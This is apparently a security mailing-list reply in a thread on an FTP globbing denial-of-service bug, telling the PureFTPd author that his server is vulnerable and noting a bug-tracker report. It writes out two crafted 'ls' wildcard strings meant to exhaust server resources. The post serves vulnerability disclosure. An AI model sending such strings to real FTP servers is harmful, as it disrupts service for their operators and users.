Re: Multiple vendors FTP denial of service

[Jeff Dafoe <jeffd () EVCOM NET>]

> - PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard
> expression to *" and the 'ls *' output.

        In an ironic twist, PureFTPd (of which you are apparently the author), is
indeed vulnerable to this globbing bug, using variants of the string you
previously posted.  Try:

ls .*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/

and

ls */.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/

        against your software.  To give you the same level of notice you gave
everyone else, I went ahead and posted this into your bug tracking system
about 30 seconds ago.


Jeff